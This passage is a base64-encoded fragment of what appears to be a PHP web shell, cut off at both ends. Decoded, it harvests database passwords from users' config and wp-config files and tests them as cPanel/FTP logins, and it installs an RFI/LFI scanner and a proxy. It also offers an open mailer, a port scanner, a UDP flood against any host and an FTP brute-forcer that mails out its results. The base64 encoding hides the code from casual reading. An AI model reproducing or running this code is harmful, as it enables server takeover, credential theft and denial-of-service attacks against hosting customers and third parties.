lYWQgL2V0Yy9wYXNzd2QiOw0KCSAgIGV4aXQ7DQoJfQ0KCSRwYXRoX3RvX3B1YmxpYz1hcnJheSgpOw0KCSR1c2Vycz1hcnJheSgpOw0KCSRwYXRodG9jb25mPWFycmF5KCk7DQoJJGk9MDsNCgkNCgl3aGlsZSghZmVvZigkcGFzc3dkKSkgew0KCSAgJHN0cj1mZ2V0cygkcGFzc3dkKTsNCgkgIGlmICgkaT4zNSkgew0KCQkkcG9zPXN0cnBvcygkc3RyLCI6Iik7DQoJCSR1c2VybmFtZT1zdWJzdHIoJHN0ciwwLCRwb3MpOw0KCQkkZGlyej0iL2hvbWUvJHVzZXJuYW1lL3B1YmxpY19odG1sLyI7DQoJCWlmICgoJHVzZXJuYW1lIT0iIikpIHsNCgkJCWlmIChpc19yZWFkYWJsZSgkZGlyeikpIHsNCgkJCQlhcnJheV9wdXNoKCR1c2VycywkdXNlcm5hbWUpOw0KCQkJCWFycmF5X3B1c2goJHBhdGhfdG9fcHVibGljLCRkaXJ6KTsNCgkJCX0NCgkJfQ0KCSAgfQ0KCSAgJGkrKzsNCgl9DQoJIyMjIyMjIyMjIyMjIyMjIyMjIw0KCQ0KCSMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCglmdW5jdGlvbiByZWFkX2RpcigkcGF0aCwkdXNlcm5hbWUpIHsNCgkJaWYgKCRoYW5kbGUgPSBvcGVuZGlyKCRwYXRoKSkgew0KCQkJd2hpbGUgKGZhbHNlICE9PSAoJGZpbGUgPSByZWFkZGlyKCRoYW5kbGUpKSkgew0KCQkJCSAgJGZwYXRoPSIkcGF0aCRmaWxlIjsNCgkJCQkgIGlmICgoJGZpbGUhPScuJykgYW5kICgkZmlsZSE9Jy4uJykpIHsNCgkJCQkJIGlmIChpc19yZWFkYWJsZSgkZnBhdGgpKSB7DQoJCQkJCQkkZHI9IiRmcGF0aC8iOw0KCQkJCQkJaWYgKGlzX2RpcigkZHIpKSB7DQoJCQkJCQkgICByZWFkX2RpcigkZHIsJHVzZXJuYW1lKTsNCgkJCQkJCX0NCgkJCQkJCWVsc2Ugew0KCQkJCQkJCSBpZiAoKCRmaWxlPT0nY29uZmlnLnBocCcpIG9yICgkZmlsZT09J2NvbmZpZy5pbmMucGhwJykgb3IgKCRmaWxlPT0nZGIuaW5jLnBocCcpIG9yICgkZmlsZT09J2Nvbm5lY3QucGhwJykgb3IgKCRmaWxlPT0nd3AtY29uZmlnLnBocCcpIG9yICgkZmlsZT09J3Zhci5waHAnKSBvciAoJGZpbGU9PSdjb25maWd1cmUucGhwJykgb3IgKCRmaWxlPT0nZGIucGhwJykgb3IgKCRmaWxlPT0nZGJfY29ubmVjdC5waHAnKSkgew0KCQkJCQkJCQkkcGFzcz1nZXRfcGFzcygkZnBhdGgpOw0KCQkJCQkJCQlpZiAoJHBhc3MhPScnKSB7DQoJCQkJCQkJCSAgIGVjaG8gIlsrXSAkZnBhdGhcbiRwYXNzXG4iOw0KCQkJCQkJCQkgICBmdHBfY2hlY2soJHVzZXJuYW1lLCRwYXNzKTsNCgkJCQkJCQkJfQ0KCQkJCQkJCSB9DQoJCQkJCQl9DQoJCQkJCSB9DQoJCQkJICB9DQoJCQl9DQoJCX0NCgl9DQoJDQoJZnVuY3Rpb24gZ2V0X3Bhc3MoJGxpbmspIHsNCgkJQCRjb25maWc9Zm9wZW4oJGxpbmssJ3InKTsNCgkJd2hpbGUoIWZlb2YoJGNvbmZpZykpIHsNCgkJCSRsaW5lPWZnZXRzKCRjb25maWcpOw0KCQkJaWYgKHN0cnN0cigkbGluZSwncGFzcycpIG9yIHN0cnN0cigkbGluZSwncGFzc3dvcmQnKSBvciBzdHJzdHIoJGxpbmUsJ3Bhc3N3ZCcpKSB7DQoJCQkJaWYgKHN0cnJwb3MoJGxpbmUsJyInKSkNCgkJCQkgICAkcGFzcz1zdWJzdHIoJGxpbmUsKHN0cnBvcygkbGluZSwnPScpKzMpLChzdHJycG9zKCRsaW5lLCciJyktKHN0cnBvcygkbGluZSwnPScpKzMpKSk7DQoJCQkJZWxzZQ0KCQkJCSAgICRwYXNzPXN1YnN0cigkbGluZSwoc3RycG9zKCRsaW5lLCc9JykrMyksKHN0cnJwb3MoJGxpbmUsIiciKS0oc3RycG9zKCRsaW5lLCc9JykrMykpKTsNCgkJCQlyZXR1cm4gJHBhc3M7DQoJCQl9DQoJCX0NCgl9DQoJDQoJZnVuY3Rpb24gZnRwX2NoZWNrKCRsb2dpbiwkcGFzcykgew0KCQkgQCRmdHA9ZnRwX2Nvbm5lY3QoJzEyNy4wLjAuMScpOw0KCQkgaWYgKCRmdHApIHsNCgkJCUAkcmVzPWZ0cF9sb2dpbigkZnRwLCRsb2dpbiwkcGFzcyk7DQoJCQlpZiAoJHJlcykgew0KCQkJICAgZWNobyAnW2NQYW5lbCBGb3VuZF0gJy4kbG9naW4uJzonLiRwYXNzLiIgIFN1Y2Nlc3NcbiI7DQoJCQl9DQoJCQllbHNlIGZ0cF9xdWl0KCRmdHApOw0KCQkgfQ0KCX0NCgkNCgllY2hvICI8YnI+PGJyPiI7DQoJZWNobyAiPHRleHRhcmVhIG5hbWU9J21haW5fd2luZG93JyBjb2xzPTEwMCByb3dzPTIwPiI7DQoJDQoJZWNobyAiWytdIEZvdW5kICIuc2l6ZW9mKCR1c2VycykuIiBlbnRyeXMgaW4gL2V0Yy9wYXNzd2RcbiI7DQoJZWNobyAiWytdIEZvdW5kICIuc2l6ZW9mKCRwYXRoX3RvX3B1YmxpYykuIiByZWFkYWJsZSBwdWJsaWNfaHRtbCBkaXJlY3Rvcmllc1xuIjsNCgkNCgllY2hvICJbfl0gU2VhcmNoaW5nIGZvciBwYXNzd29yZHMgaW4gY29uZmlnLiogZmlsZXMuLi5cblxuIjsNCglmb3JlYWNoICgkdXNlcnMgYXMgJHVzZXIpIHsNCgkJCSRwYXRoPSIvaG9tZS8kdXNlci9wdWJsaWNfaHRtbC8iOw0KCQkJcmVhZF9kaXIoJHBhdGgsJHVzZXIpOw0KCX0NCgkNCgllY2hvICJcblsrXSBEb25lXG4iOw0KCQ0KCWVjaG8gIjwvdGV4dGFyZWE+PGJyPiI7DQoJfWVsc2UNCgllY2hvICc8Y2VudGVyPkFyZSB5b3Ugc3VyZSB5b3Ugd291bGQgbGlrZSB0byBzZWFyY2ggZm9yIGNQYW5lbCBhY2NvdW50cyBvbiB0aGlzIHdlYnNpdGUvc2VydmVyPzxicj5QbGVhc2Ugbm90ZSB0aGlzIG1heSB0YWtlIGEgbG9uZyB0aW1lIHRvIGV4ZWN1dGUgZGVwZW5kaW5nIG9uIHRoZSB3ZWJzaXRlL3NlcnZlciBpdCBpcyBydW4gb24uPGJyPjxicj48YSBocmVmPSInLiRzdXJsLid4PWNwYW5lbCZnbz1nbyI+WWVzPC9hPiB8fCA8YSBocmVmPSInLiRzdXJsLiciPk5vPC9hPjwvY2VudGVyPic7DQp9DQoNCmlmICgkeCA9PSAnZmknKXsNCj8+DQoNCjxiPkluc3RhbGwgTG9jYWwgUkZJL0xGSSBTY2FubmVyPC9iPjxicj4NCjxmb3JtIGFjdGlvbj08P3BocCBlY2hvICRzdXJsOyA/PiBtZXRob2Q9R0VUPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9IngiIHZhbHVlPSJmaSI+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0iaW5zdGFsbCIgdmFsdWU9Inl1cCI+DQpQYXRoIHRvIGluc3RhbGwgaW46IDxpbnB1dCB0eXBlPXRleHQgbmFtZT0icGF0aCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGQ7ID8+Ij4gKG11c3QgaGF2ZSBmaW5hbCAvKTxicj4NCjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iSW5zdGFsbCI+PC9mb3JtPg0KPD9waHANCgkJaWYgKCRfR0VUWydpbnN0YWxsJ10gPT0gJ3l1cCcpIHsNCgkJCWlmIChpc193cml0YWJsZSgkX0dFVFsncGF0aCddKSkgew0KCQkJCWNmKCRfR0VUWydwYXRoJ10uJ2ZpLnBsJywgJGZpKTsNCgkJCQllY2hvICc8Zm9udCBjb2xvcj1ncmVlbj48Yj5maS5wbCB3YXMgY3JlYXRlZCBpbiAnLmh0bWxlbnRpdGllcygkX0dFVFsncGF0aCddKS4nPC9iPjwvZm9udD4nOw0KCQkJCWNobW9kKCRfR0VUWydwYXRoJ10uJy9maS5wbCcsIDA3NzcpOw0KCQkJCWVjaG8gJzxiciAvPlRvIGV4ZWN1dGUsIGJyb3dzZSB0byB0aGUgZGlyZWN0b3J5IHlvdSBpbnN0YWxsZWQgdGhlIHNjYW5uZXIgaW4gYW5kIGV4ZWN1dGUgaXQgZnJvbSB0aGVyZSB1c2luZyBcJ3BlcmwgZmkucGxcJyc7DQoJCQl9ZWxzZXsNCgkJCQllY2hvICc8Zm9udCBjb2xvcj1yZWQ+PGI+RGlyZWN0b3J5IGlzIG5vdCB3cml0YWJsZSE8L2I+PGJyPjwvZm9udD4nOw0KCQkJfQ0KCQl9DQp9DQoNCmlmICgkeCA9PSAncGhwcHJveHknKXsNCj8+DQo8Yj5JbnN0YWxsIFBIUCBCYXNlZCBQcm94eTwvYj48YnI+DQoNCjxmb3JtIGFjdGlvbj08P3BocCBlY2hvICRzdXJsOyA/PiBtZXRob2Q9R0VUPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9IngiIHZhbHVlPSJwaHBwcm94eSI+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0iaW5zdGFsbCIgdmFsdWU9Inl1cCI+DQpQYXRoIHRvIGluc3RhbGwgaW46IDxpbnB1dCB0eXBlPXRleHQgbmFtZT0icGF0aCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGQ7ID8+Ij4gKG11c3QgaGF2ZSBmaW5hbCAvKTxicj4NCjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iSW5zdGFsbCI+PC9mb3JtPg0KPD9waHANCgkJaWYgKCRfR0VUWydpbnN0YWxsJ10gPT0gJ3l1cCcpIHsNCgkJCWlmIChpc193cml0YWJsZSgkX0dFVFsncGF0aCddKSkgew0KCQkJCWNmKCRfR0VUWydwYXRoJ10uJ3Byb3h5LnBocCcsICRwaHBwcm94eSk7DQoJCQkJZWNobyAnPGZvbnQgY29sb3I9Z3JlZW4+PGI+cHJveHkucGhwIHdhcyBjcmVhdGVkIGluICcuaHRtbGVudGl0aWVzKCRfR0VUWydwYXRoJ10pLic8L2I+PC9mb250Pic7DQoJCQkJY2htb2QoJF9HRVRbJ3BhdGgnXS4nL3Byb3h5LnBocCcsIDA3NzcpOw0KCQkJfWVsc2V7DQoJCQkJZWNobyAnPGZvbnQgY29sb3I9cmVkPjxiPkRpcmVjdG9yeSBpcyBub3Qgd3JpdGFibGUhPC9iPjxicj48L2ZvbnQ+JzsNCgkJCX0NCgkJfQ0KfQ0KDQoNCmlmICgkeCA9PSAncGhwdG9vbHMnKXsNCj8+PGNlbnRlcj48P3BocA0KLy9tYWlsZXINCmVjaG8gJzxiPk1haWxlcjwvYj48YnI+DQo8Zm9ybSBhY3Rpb249IicuJHN1cmwuJyIgbWV0aG9kPUdFVD4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdCIgdmFsdWU9InBocHRvb2xzIj4NCg0KPGlucHV0IHR5cGU9dGV4dCBuYW1lPXRvIHZhbHVlPXRvPjxicj4NCjxpbnB1dCB0eXBlPXRleHQgbmFtZT1mcm9tIHZhbHVlPWZyb20+PGJyPg0KPGlucHV0IHR5cGU9dGV4dCBuYW1lPXN1YmplY3QgdmFsdWU9c3ViamVjdD48YnI+DQo8aW5wdXQgdHlwZT10ZXh0IG5hbWU9Ym9keSB2YWx1ZT1ib2R5Pjxicj4NCjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1TdWJtaXQ+PC9mb3JtPic7DQppZiAoaXNzZXQoJF9HRVRbJ3RvJ10pICYmIGlzc2V0KCRfR0VUWydmcm9tJ10pICYmIGlzc2V0KCRfR0VUWydzdWJqZWN0J10pICYmIGlzc2V0KCRfR0VUWydib2R5J10pKSB7DQoJJGhlYWRlcnMgPSAnRnJvbTogJy4kX0dFVFsnZnJvbSddOw0KCW1haWwgKCRfR0VUWyd0byddLCRfR0VUWydzdWJqZWN0J10sJF9HRVRbJ2JvZHknXSwkaGVhZGVycyk7DQoJZWNobyAnRW1haWwgc2VudC4nOw0KfQ0KDQovL3BvcnQgc2Nhbm5lcg0KZWNobyAnPGJyPjxiPlBvcnQgU2Nhbm5lcjwvYj48YnI+JzsNCiRzdGFydCA9IHN0cmlwX3RhZ3MoJF9HRVRbJ3N0YXJ0J10pOw0KJGVuZCA9IHN0cmlwX3RhZ3MoJF9HRVRbJ2VuZCddKTsNCiRob3N0ID0gc3RyaXBfdGFncygkX0dFVFsnaG9zdCddKTsNCg0KaWYoaXNzZXQoJF9HRVRbJ2hvc3QnXSkgJiYgaXNfbnVtZXJpYygkX0dFVFsnZW5kJ10pICYmIGlzX251bWVyaWMoJF9HRVRbJ3N0YXJ0J10pKXsNCmZvcigkaSA9ICRzdGFydDsgJGk8PSRlbmQ7ICRpKyspew0KCSRmcCA9IEBmc29ja29wZW4oJGhvc3QsICRpLCAkZXJybm8sICRlcnJzdHIsIDMpOw0KCWlmKCRmcCl7DQoJCWVjaG8gJ1BvcnQgJy4kaS4nIGlzIDxmb250IGNvbG9yPWdyZWVuPm9wZW48L2ZvbnQ+PGJyPic7DQoJfQ0KCWZsdXNoKCk7DQoJfQ0KfWVsc2V7DQo/Pg0KDQo8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJnZXQiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ieCIgdmFsdWU9InBocHRvb2xzIj4NCkhvc3Q6PGJyIC8+DQo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iaG9zdCIgdmFsdWU9ImxvY2FsaG9zdCIvPjxiciAvPg0KUG9ydCBzdGFydDo8YnIgLz4NCjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzdGFydCIgdmFsdWU9IjAiLz48YnIgLz4NClBvcnQgZW5kOjxiciAvPg0KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImVuZCIgdmFsdWU9IjUwMDAiLz48YnIgLz4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTY2FuIFBvcnRzIiAvPg0KPC9mb3JtPg0KPD9waHANCn0NCg0KLy9VRFANCmlmKGlzc2V0KCRfR0VUWydob3N0J10pJiZpc19udW1lcmljKCRfR0VUWyd0aW1lJ10pKXsNCgkkcGFraXRzID0gMDsNCglpZ25vcmVfdXNlcl9hYm9ydChUUlVFKTsNCglzZXRfdGltZV9saW1pdCgwKTsNCgkNCgkkZXhlY190aW1lID0gJF9HRVRbJ3RpbWUnXTsNCgkNCgkkdGltZSA9IHRpbWUoKTsNCgkvL3ByaW50ICJTdGFydGVkOiAiLnRpbWUoJ2g6aTpzJykuIjxicj4iOw0KCSRtYXhfdGltZSA9ICR0aW1lKyRleGVjX3RpbWU7DQoNCgkkaG9zdCA9ICRfR0VUWydob3N0J107DQoJDQoJZm9yKCRpPTA7JGk8NjUwMDA7JGkrKyl7DQoJCQkkb3V0IC49ICdYJzsNCgl9DQoJd2hpbGUoMSl7DQoJJHBha2l0cysrOw0KCQkJaWYodGltZSgpID4gJG1heF90aW1lKXsNCgkJCQkJYnJlYWs7DQoJCQl9DQoJCQkkcmFuZCA9IHJhbmQoMSw2NTAwMCk7DQoJCQkkZnAgPSBmc29ja29wZW4oJ3VkcDovLycuJGhvc3QsICRyYW5kLCAkZXJybm8sICRlcnJzdHIsIDUpOw0KCQkJaWYoJGZwKXsNCgkJCQkJZndyaXRlKCRmcCwgJG91dCk7DQoJCQkJCWZjbG9zZSgkZnApOw0KCQkJfQ0KCX0NCgllY2hvICI8YnI+PGI+VURQIEZsb29kPC9iPjxicj5Db21wbGV0ZWQgd2l0aCAkcGFraXRzICgiIC4gcm91bmQoKCRwYWtpdHMqNjUpLzEwMjQsIDIpIC4gIiBNQikgcGFja2V0cyBhdmVyYWdpbmcgIi4gcm91bmQoJHBha2l0cy8kZXhlY190aW1lLCAyKSAuICIgcGFja2V0cyBwZXIgc2Vjb25kIFxuIjsNCgllY2hvICc8YnI+PGJyPg0KDQoJCTxmb3JtIGFjdGlvbj0iJy4kc3VybC4nIiBtZXRob2Q9R0VUPg0KCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ4IiB2YWx1ZT0icGhwdG9vbHMiPg0KCQlIb3N0OiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9aG9zdCB2YWx1ZT1sb2NhbGhvc3Q+DQoJCUxlbmd0aCAoc2Vjb25kcyk6IDxpbnB1dCB0eXBlPXRleHQgbmFtZT10aW1lIHZhbHVlPTk5OTk+DQoJCTxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1Hbz48L2Zvcm0+JzsNCn1lbHNleyBlY2hvICc8YnI+PGI+VURQIEZsb29kPC9iPjxicj4NCgkJCTxmb3JtIGFjdGlvbj0/IG1ldGhvZD1HRVQ+DQoJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ4IiB2YWx1ZT0icGhwdG9vbHMiPg0KDQoJCQlIb3N0OiA8YnI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWhvc3QgdmFsdWU9bG9jYWxob3N0Pjxicj4NCgkJCUxlbmd0aCAoc2Vjb25kcyk6IDxicj48aW5wdXQgdHlwZT10ZXh0IG5hbWU9dGltZSB2YWx1ZT05OTk5Pjxicj4NCgkJCTxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1Hbz48L2Zvcm0+JzsNCn0NCj8+PC9jZW50ZXI+PD9waHANCn0NCg0KDQoNCmlmICgkeCA9PSAiZnRwcXVpY2ticnV0ZSIpIHsNCmVjaG8gIjxjZW50ZXI+PHRhYmxlPjx0cj48dGQgY2xhc3M9YmFyaGVhZGVyIGNvbHNwYW49Mj4iOw0KZWNobyAiLjogRnRwIFF1aWNrIEJydXRlIDouPC90ZD48L3RyPiI7DQplY2hvICI8dHI+PHRkPiI7DQppZiAoJHdpbikge2VjaG8gIkNvdWxkbid0IHJ1biBvbiBXaW5kb3dzISI7fQ0KZWxzZSB7DQogIGZ1bmN0aW9uIGNhZnRwYnJ1dGVjaGVjaygkaG9zdCwkcG9ydCwkdGltZW91dCwkbG9naW4sJHBhc3MsJHNoLCRmcWJfb25seXdpdGhzaCkgew0KICAgIGlmICgkZnFiX29ubHl3aXRoc2gpIHskVFJVRSA9ICghaW5fYXJyYXkoJHNoLGFycmF5KCIvYmluL0ZBTFNFIiwiL3NiaW4vbm9sb2dpbiIpKSk7fQ0KICAgIGVsc2UgeyRUUlVFID0gVFJVRTt9DQogICAgaWYgKCRUUlVFKSB7DQogICAgICAkc29jayA9IEBmdHBfY29ubmVjdCgkaG9zdCwkcG9ydCwkdGltZW91dCk7DQogICAgICBpZiAoQGZ0cF9sb2dpbigkc29jaywkbG9naW4sJHBhc3MpKSB7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9XCJmdHA6Ly8iLiRsb2dpbi4iOiIuJHBhc3MuIkAiLiRob3N0LiJcIiB0YXJnZXQ9XCJfYmxhbmtcIj48Yj5Db25uZWN0ZWQgdG8gIi4kaG9zdC4iIHdpdGggbG9naW4gXCIiLiRsb2dpbi4iXCIgYW5kIHBhc3N3b3JkIFwiIi4kcGFzcy4iXCI8L2I+PC9hPi48YnI+IjsNCiAgICAgICAgb2JfZmx1c2goKTsNCiAgICAgICAgcmV0dXJuIFRSVUU7DQogICAgICB9DQogICAgfQ0KICB9DQogIGlmICghZW1wdHkoJHN1Ym1pdCkpIHsNCiAgICBpZiAoIWlzX251bWVyaWMoJGZxYl9sZW5naHQpKSB7JGZxYl9sZW5naHQgPSAkbml4cHdkcGVycGFnZTt9DQogICAgJGZwID0gZm9wZW4oIi9ldGMvcGFzc3dkIiwiciIpOw0KICAgIGlmICghJGZwKSB7ZWNobyAiQ2FuJ3QgZ2V0IC9ldGMvcGFzc3dkIGZvciBwYXNzd29yZC1saXN0LiI7fQ0KICAgIGVsc2Ugew0KICAgICAgaWYgKCRmcWJfbG9nZ2luZykgew0KICAgICAgICBpZiAoJGZxYl9sb2dmaWxlKSB7JGZxYl9sb2dmcCA9IGZvcGVuKCRmcWJfbG9nZmlsZSwidyIpO30NCiAgICAgICAgZWxzZSB7JGZxYl9sb2dmcCA9IEZBTFNFO30NCiAgICAgICAgJGZxYl9sb2cgPSAiRlRQIFF1aWNrIEJydXRlIChmeDApIHN0YXJ0ZWQgYXQgIi5kYXRlKCJkLm0uWSBIOmk6cyIpLiJcclxuXHJcbiI7DQogICAgICAgIGlmICgkZnFiX2xvZ2ZpbGUpIHtmd3JpdGUoJGZxYl9sb2dmcCwkZnFiX2xvZyxzdHJsZW4oJGZxYl9sb2cpKTt9DQogICAgICB9DQogICAgICBvYl9mbHVzaCgpOw0KICAgICAgJGkgPSAkc3VjY2VzcyA9IDA7DQogICAgICAkZnRwcXVpY2tfc3QgPSBnZXRtaWNyb3RpbWUoKTsNCiAgICAgIHdoaWxlKCFmZW9mKCRmcCkpIHsNCiAgICAgICAgJHN0ciA9IGV4cGxvZGUoIjoiLGZnZXRzKCRmcCwyMDQ4KSk7DQogICAgICAgIGlmIChjYWZ0cGJydXRlY2hlY2soImxvY2FsaG9zdCIsMjEsMSwkc3RyWzBdLCRzdHJbMF0sJHN0cls2XSwkZnFiX29ubHl3aXRoc2gpKSB7DQogICAgICAgICAgZWNobyAiPGI+Q29ubmVjdGVkIHRvICIuZ2V0ZW52KCJTRVJWRVJfTkFNRSIpLiIgd2l0aCBsb2dpbiBcIiIuJHN0clswXS4iXCIgYW5kIHBhc3N3b3JkIFwiIi4kc3RyWzBdLiJcIjwvYj48YnI+IjsNCiAgICAgICAgICAkZnFiX2xvZyAuPSAiQ29ubmVjdGVkIHRvICIuZ2V0ZW52KCJTRVJWRVJfTkFNRSIpLiIgd2l0aCBsb2dpbiBcIiIuJHN0clswXS4iXCIgYW5kIHBhc3N3b3JkIFwiIi4kc3RyWzBdLiJcIiwgYXQgIi5kYXRlKCJkLm0uWSBIOmk6cyIpLiJcclxuIjsNCiAgICAgICAgICBpZiAoJGZxYl9sb2dmcCkge2ZzZWVrKCRmcWJfbG9nZnAsMCk7IGZ3cml0ZSgkZnFiX2xvZ2ZwLCRmcWJfbG9nLHN0cmxlbigkZnFiX2xvZykpO30NCiAgICAgICAgICAkc3VjY2VzcysrOw0KICAgICAgICAgIG9iX2ZsdXNoKCk7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRpID4gJGZxYl9sZW5naHQpIHticmVhazt9DQogICAgICAgICRpKys7DQogICAgICB9DQogICAgICBpZiAoJHN1Y2Nlc3MgPT0gMCkge2VjaG8gIk5vIHN1Y2Nlc3MuIGNvbm5lY3Rpb25zISI7ICRmcWJfbG9nIC49ICJObyBzdWNjZXNzLiBjb25uZWN0aW9ucyFcclxuIjt9DQogICAgICAkZnRwcXVpY2tfdCA9IHJvdW5kKGdldG1pY3JvdGltZSgpLSRmdHBxdWlja19zdCw0KTsNCiAgICAgIGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+PGI+RG9uZSE8L2I+PGJyPlRvdGFsIHRpbWUgKHNlY3MuKTogIi4kZnRwcXVpY2tfdC4iPGJyPlRvdGFsIGNvbm5lY3Rpb25zOiAiLiRpLiI8YnI+U3VjY2Vzcy46IDxmb250IGNvbG9yPWdyZWVuPjxiPiIuJHN1Y2Nlc3MuIjwvYj48L2ZvbnQ+PGJyPlVuc3VjY2Vzcy46Ii4oJGktJHN1Y2Nlc3MpLiI8L2I+PGJyPkNvbm5lY3RzIHBlciBzZWNvbmQ6ICIucm91bmQoJGkvJGZ0cHF1aWNrX3QsMikuIjxicj4iOw0KICAgICAgJGZxYl9sb2cgLj0gIlxyXG4tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuRG9uZSFcclxuVG90YWwgdGltZSAoc2Vjcy4pOiAiLiRmdHBxdWlja190LiJcclxuVG90YWwgY29ubmVjdGlvbnM6ICIuJGkuIlxyXG5TdWNjZXNzLjogIi4kc3VjY2Vzcy4iXHJcblVuc3VjY2Vzcy46Ii4oJGktJHN1Y2Nlc3MpLiJcclxuQ29ubmVjdHMgcGVyIHNlY29uZDogIi5yb3VuZCgkaS8kZnRwcXVpY2tfdCwyKS4iXHJcbiI7DQogICAgICBpZiAoJGZxYl9sb2dmcCkge2ZzZWVrKCRmcWJfbG9nZnAsMCk7IGZ3cml0ZSgkZnFiX2xvZ2ZwLCRmcWJfbG9nLHN0cmxlbigkZnFiX2xvZykpO30NCiAgICAgIGlmICgkZnFiX2xvZ2VtYWlsKSB7QG1haWwoJGZxYl9sb2dlbWFpbCwiZngwIHJlcG9ydCIsJGZxYl9sb2cpO30NCiAgICAgIGZjbG9zZSgkZnFiX2xvZ2ZwKTsNCiAgICB9DQogIH0NCiAgZWxzZSB7DQogICAgJGxvZ2ZpbGUgPSAkdG1wZGlyX2xvZ3MuImNhX2Z0cHF1aWNrYnJ1dGVfIi5kYXRlKCJkLm0uWV9IX2lfcyIpLiIubG9nIjsNCiAgICAkbG9nZmlsZSA9IHN0cl9yZXBsYWNlKCIvLyIsRElSRUNUT1JZX1NFUEFSQVRPUiwkbG9nZmlsZSk7DQogICAgZWNobyAiPGZvcm0gYWN0aW9uPVwiIi4kc3VybC4iXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9eCB2YWx1ZT1cImZ0cHF1aWNrYnJ1dGVcIj4iLg0KICAgICAgICAgIlJlYWQgZmlyc3Q6PC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPVwiZnFiX2xlbmdodFwiIHZhbHVlPVwiIi4kbml4cHdkcGVycGFnZS4iXCI+PC90ZD48L3RyPiIuDQogICAgICAgICAiPHRyPjx0ZD48L3RkPjx0ZD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImZxYl9vbmx5d2l0aHNoXCIgdmFsdWU9XCIxXCI+IFVzZXJzIG9ubHkgd2l0aCBzaGVsbDwvdGQ+PC90cj4iLg0KICAgICAgICAgIjx0cj48dGQ+PC90ZD48dGQ+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJmcWJfbG9nZ2luZ1wiIHZhbHVlPVwiMVwiIGNoZWNrZWQ+TG9nZ2luZzwvdGQ+PC90cj4iLg0KICAgICAgICAgIjx0cj48dGQ+TG9nZ2luZyB0byBmaWxlOjwvdGQ+PHRkPjxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJmcWJfbG9nZmlsZVwiIHZhbHVlPVwiIi4kbG9nZmlsZS4iXCIgc2l6ZT1cIiIuKHN0cmxlbigkbG9nZmlsZSkrMiooc3RybGVuKCRsb2dmaWxlKS8xMCkpLiJcIj48L3RkPjwvdHI+Ii4NCiAgICAgICAgICI8dHI+PHRkPkxvZ2dpbmcgdG8gZS1tYWlsOjwvdGQ+PHRkPjxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJmcWJfbG9nZW1haWxcIiB2YWx1ZT1cIiIuJGxvZ19lbWFpbC4iXCIgc2l6ZT1cIiIuKHN0cmxlbigkbG9nZW1haWwpKzIqKHN0cmxlbigkbG9nZW1haWwpLzEwKSkuIlwiPjwvdGQ+PC90cj4iLg0KICAgICAgICAgIjx0cj48dGQgY29sc3Bhbj0yPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1cIkJydXRlXCI+PC9mb3JtPiI7DQogIH0NCiAgZWNobyAiPC90ZD48L3RyPjwvdGFibGU+PC9jZW50ZXI+IjsNCn0NCn0NCmlmICgkeCA9PSAiZCIpIHsNCmlmICghaXNfZGlyKCRkKSkgeyBlY2hvICI8Y2VudGVyPjxiPiRkIGlzIGEgbm90IGEgRGlyZWN0b3J5ITwvYj48L2NlbnRlcj4iOyB9DQplbHNlIHsNCiAgZWNobyAiPGI+RGlyZWN0b3J5IGluZm9ybWF0aW9uOjwvYj48dGFibGUgYm9yZGVyPTAgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz0yPiI7DQogIGlmICghJHdpbikgew0KICAgZWNobyAiPHRyPjx0ZD48Yj5Pd25lci9Hcm91cDwvYj48L3RkPjx0ZD4gIjsNCiAgICRvdyA9IHBvc2l4X2dldHB3dWlkKGZpbGVvd25lcigkZCkpOw0KICAgJGdyID0gcG9zaXhfZ2V0Z3JnaWQoZmlsZWdyb3VwKCRkKSk7DQogICAkcm93W10gPSAoJG93WyJuYW1lIl0/JG93WyJuYW1lIl06ZmlsZW93bmVyKCRkKSkuIi8iLigkZ3JbIm5hbWUiXT8kZ3JbIm5hbWUiXTpmaWxlZ3JvdXAoJGQpKTsNCiAgfQ0KICBlY2hvICI8dHI+PHRkPjxiPlBlcm1zPC9iPjwvdGQ+PHRkPjxhIGhyZWY9XCIiLiRzdXJsLiJ4PWNobW9kJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj48Yj4iLnZpZXdfcGVybXNfY29sb3IoJGQpLiI8L2I+PC9hPjx0cj48dGQ+PGI+Q3JlYXRlIHRpbWU8L2I+PC90ZD48dGQ+ICIuZGF0ZSgiZC9tL1kgSDppOnMiLGZpbGVjdGltZSgkZCkpLiI8L3RkPjwvdHI